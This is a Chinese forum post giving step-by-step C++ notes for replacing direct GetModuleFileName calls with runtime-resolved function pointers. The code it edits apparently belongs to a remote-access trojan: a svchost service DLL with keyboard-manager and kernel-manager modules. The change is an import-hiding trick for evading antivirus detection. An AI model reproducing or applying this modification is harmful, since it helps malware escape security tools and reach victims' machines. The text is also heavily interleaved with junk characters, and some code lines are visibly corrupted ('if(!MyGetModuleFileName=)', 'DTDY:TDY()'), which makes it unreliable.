返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
" d" Y& {' }" {8 K$ F. Lsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
6 o: R: g' A  p9 o7 O+ K6 D, u----------------------------------------5 w. R9 l/ m9 n; T8 {& H$ Z- I
DTDY.h:
& c. F/ P1 [! ~4 p
$ h: j% W2 S+ I$ P; T+ d3 z#if _MSC_VER>1000
7 }8 _* ~: ~5 ~( |( m. \#pragma once
- o( V  P* n# k6 o( A  g3 E#endif //_MSC_VER>1000
4 S2 y2 S$ z& m- ?! ^0 v#include<windows.h>7 c* `, K. ~% [' c2 Q

: l0 F/ a  z0 D+ L0 h$ d# ntypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 W; k% {+ T+ H4 G. mclass DTDY
5 {1 a: s2 }& s# l8 S{4 U6 C% t5 ?0 N: L3 r9 {6 L' `0 G
public:
% g. X. @0 H% i. }DTDY();: S$ i' R2 ]5 J7 V6 ]2 F% Q( l* h4 S
virtual ~DTDY();
% D% O+ S! R5 k6 u# l: a( Opublic:) a& B5 F9 @3 l) \* J/ q$ m7 i: x
static pGetModuleFileNameA MyGetModuleFileName;
1 A6 B+ ^. T" `- C2 k; J! m; Fstatic BOOL FunInitiallization();
0 B7 M; a% l1 j6 |};
, N8 P/ J$ [5 |3 m; J#endif% F0 ?5 v; E  Y, g2 C# n3 x+ h& P/ Z, [
----------------------------------------) w0 V6 O. T  }9 l- u7 W8 M: ?1 k

5 D6 I, J/ c0 fDTDY.cpp:" j# h, x: ?6 C6 n1 @7 ]5 t
5 j# N7 [6 o) \% P
#include "DTDY.h"
# Q( q: X7 q9 X+ k  tpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
4 W. ~/ O# d# F# P" q  }DTDY:TDY()
& z" }2 B5 X' r# a0 X5 P% y  c{
3 m8 v! d& G" ^% ]. ~0 @}& t$ n- u% {  p2 t* ?
DTDY::~DTDY()
$ n2 N: h9 M% G: C6 F1 V{) c. o+ q$ z2 r& t  H$ @7 L
}; v: F5 Z# P* f, O( k$ W6 d
BOOL DTDY::FunInitiallization()6 P- f( V+ Z& o
{* z1 u3 s: N6 g
HMODULE hModule=LoadLibrary("kernel32.dll");
# ~3 p' J# T: c/ m- t& FMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");5 I/ n. M# R' ^! Y3 Z, @# j6 L
if(!MyGetModuleFileName=) return FALSE;6 t2 p9 `# [, O% K
& L( X* m6 J+ ^3 f
return TRUE;8 D6 a3 r8 m, }& D% T
}/ x$ C$ w+ n5 J: U5 G0 U
----------------------------------------9 |+ |5 f0 x; ^& {, g/ u( H
svchost.cpp:
8 T: \; e4 L* W) x& H; r& Q6 w8 g& L0 R
#include "DTDY.h"
- y; j1 M1 Y( k& o: q# s
% o- u& E2 p2 ^: v& w, }$ eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
/ S$ ]* b; U% e& h! m{
$ s- l: ]3 r$ @- Q+ D+ gswitch(ul_reason_for_call)
% `2 c7 Y% q' ?+ Y/ P8 i{) w% K' a$ ^- s- J; N+ ?
case DLL_PROCESS_ATTACH:
/ _7 N1 P6 M5 n9 m4 ~$ M& Lif(!DTDY::FunInitiallization()) return FALSE;, Z8 P! r% p' p+ |6 N

# _9 v% r8 q) j4 \' Q; U# Mbreak;
" l$ k, Q. r  K. \3 f/ r9 i$ ]6 |}7 |" m/ |% U$ i: y' y
}" O" v; x' Y* \4 Q& }7 A) {# }, j
- ?1 b9 W! V& y& _3 h6 D

) A: S7 z) X  O2 `7 p# f* m5 HGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def# U1 e6 }. t/ i
改写为- y1 M( ?8 g/ Z  s3 Q5 i$ |
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
  T# t/ n) r+ v5 b6 a8 s! Y% D----------------------------------------
3 J& ^; _. @; G% ]$ @) r- UKernelManager.cpp:
8 M; Q% t* ~! i% h8 W# L; g, F* x( ^9 ?8 D3 _  m' Q
#include "../DTDY.h"( [$ l" g) w/ C( o
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# l9 H/ Q7 X. i7 p" R& F& I& n改写为( Z  o8 B- A8 B$ x) I, O
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
6 B2 T+ Z  P. f" I----------------------------------------

返回列表